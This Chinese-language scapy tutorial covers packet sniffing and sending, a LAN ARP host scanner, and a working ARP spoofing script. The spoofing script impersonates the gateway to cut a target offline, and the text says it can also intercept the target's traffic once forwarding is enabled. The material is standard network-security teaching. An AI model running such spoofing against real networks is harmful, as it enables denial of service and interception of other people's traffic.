python scapy的用法之ARP主機掃描和ARP欺騙
目錄:
1.scapy介紹
2.安裝scapy
3.scapy常用
4.ARP主機掃描
5.ARP欺騙
一、scapy介紹
scapy是一個可用於網絡嗅探的非常強大的第三方庫。
具有以下幾個特點:
1.交互模式,用作第三方庫。
2.可以用開做packet嗅探和偽造packet
3.已經再內部實現了大量的網絡協議。(DNS,ARP,IP,TCP,UDP等等),可以用它來編寫非常靈活實用的工具。
二、安裝
pip intall scapy
pip install ipython(運行命令行方式需要)
注意:windows下安裝scapy需要安裝winpcap或者npcap(用於抓取網卡的數據),如果電腦安裝果wireshark或者nmap就不用安裝winpcap或者npcap。
winpcap官方下載地址:https://www.winpcap.org/install/default.htm
npcap官方下載地址:https://nmap.org/npcap/
測試scapy是否安裝好以及能否抓取網卡(不能抓取網卡的話,請檢查winpcap或者npcap是否安裝成功)
三、scapy常用
1.嗅探流量包
sniff函數進行嗅探流量,iface表示使用的網卡接口,filter是過濾條件,count是嗅探包的個數。結果顯示嗅探到了3個ARP包。可以輸入pkts[i]查看包的具體內容。sniff別的參數可以查看幫助文檔:help(sniff)
2.將嗅探到的包內容寫到pcap文件和讀取pcap文件。
wrpcap寫,rdpcap讀
3.收發數據包
3.1、send(),在第三層發送數據包,但沒有接收功能。其他參數可以查看幫助:help(send)
fuzz函數的作用:可以更改一些默認的不被計算的值(比如校驗和checksums),更改的值是隨機的,但是是符合字段的值的。
3.2、sendp(),在第二層發送數據包,但沒有接收功能。"(1,4)"小括號是范圍代表1到4,第二個例子:發送4個包,ttl的值是1到4
3.3、sr(),在第三層發送數據包,有接收功能
srp同時收到響應數據包和不響應數據包,需要用兩個變量來接收。
ans中有請求有響應,unans只有請求沒有響應
下圖可以看到ans[0]查看的數據是以元組的形式,利用下圖的示例可以對特定主機的特定端口進行tcp掃描。
3.4、sr1(),在第三層發送數據包,有接收功能,但只接收第一個數據包。用於哪些判斷和目標是否通,接收一個數據包就能判斷,沒必要接收多個。
下圖可以看到,發送20個包,收到3個包,但只變量m存儲一個包。
3.5、srloop(),在第三層連續發送數據包,有接收功能,且連續接收數據包。
3.6、srp()、srp1()、srploop()工作在第二層,具體用法可以查看幫助。
四、ARP主機掃描
1.使用scapy寫一個ARP主機掃描腳本
#局域網主機掃描器 使用ARP掃描 #主機掃描
from scapy.all import *
import time wifi="Intel(R) Dual Band Wireless-AC 3165"
#構造數據包 Ether()層可以省略構造內容,因為默認就是,當然可以寫上,可以加快速度
p=Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst="192.168.43.0/24") #數據包發送,srp同時收到響應數據包和不響應數據包,需要用兩個變量來接收。 #ans中有請求有響應,unans只有請求沒有響應
ans,unans=srp(p,iface=wifi,timeout=2) print("一共掃描到了%d個主機"%len(ans)) result=[] #ans是元組的形式,可以測試ans[0],發現結果是元組的形式
for s,r in ans: result.append([r[ARP].psrc,r[ARP].hwsrc]) #把目標的IP以及MAC地址加入到新的列表
result.sort() #對列表進行排序 #遍歷列表,打印ip以及對應的mac地址
for ip,mac in result: print(ip,"--->",mac)
2.掃描結果如下:
3.上面的腳本把要掃描的主機直接寫死了,這里也可以使用sys模塊接收命令行傳遞的參數。
#局域網主機掃描器 使用ARP掃描 #主機掃描,主機不是寫死的,接收命令行傳遞的參數。
from scapy.all import *
import time wifi="Intel(R) Dual Band Wireless-AC 3165"
#構造數據包 Ether()層可以省略構造內容,因為默認就是,當然可以寫上,可以加快速度
ip=sys.argv[1] p=Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst=ip) #數據包發送,srp同時收到響應數據包和不響應數據包,需要用兩個變量來接收。 #ans中有請求有響應,unans只有請求沒有響應
ans,unans=srp(p,iface=wifi,timeout=2) print("一共掃描到了%d個主機"%len(ans)) result=[] #ans是元組的形式,可以測試ans[0],發現結果是元組的形式
for s,r in ans: result.append([r[ARP].psrc,r[ARP].hwsrc]) #把目標的IP以及MAC地址加入到新的列表
result.sort() #對列表進行排序 #遍歷列表,打印ip以及對應的mac地址
for ip,mac in result: print(ip,"--->",mac)
4.運行效果如下:
五、ARP欺騙
ARP欺騙就是攻擊者一直發包告訴被攻擊者(目標)自己(攻擊者)是網卡,欺騙目標的數據經過自己,以實現造成目標不能上網或者對目標數據進行監聽的目的。
1.首先查看目標的ARP緩存,可以看到目標原來的網關IP以及對應的mac地址
2.開始ARP欺騙
#ARP欺騙
from scapy.all import *
import time #構造包 #pdst是目標IP,psrc是網關的ip
p1=Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst="192.168.43.250",psrc="192.168.43.1") for i in range(6000): sendp(p1) time.sleep(0.1)
3.運行腳本,可以看到腳本一直發包,這時再看目標的arp緩存,可以看到網關的mac地址變成攻擊者的mac了(說明目標把攻擊者當成了網關,ARP欺騙成功)
4.ARP欺騙之后,由於攻擊者不是真正的網關,無法轉發數據(默認情況下),導致目標不能上網,這就實現了目標的斷網攻擊了。
5.那么能不能讓目標能上網,只對目標進行流量的嗅探呢,答案是有的,需要開啟攻擊者的路由轉發功能,把目標的數據轉發出去。
6.查看是否開啟IP路由轉發功能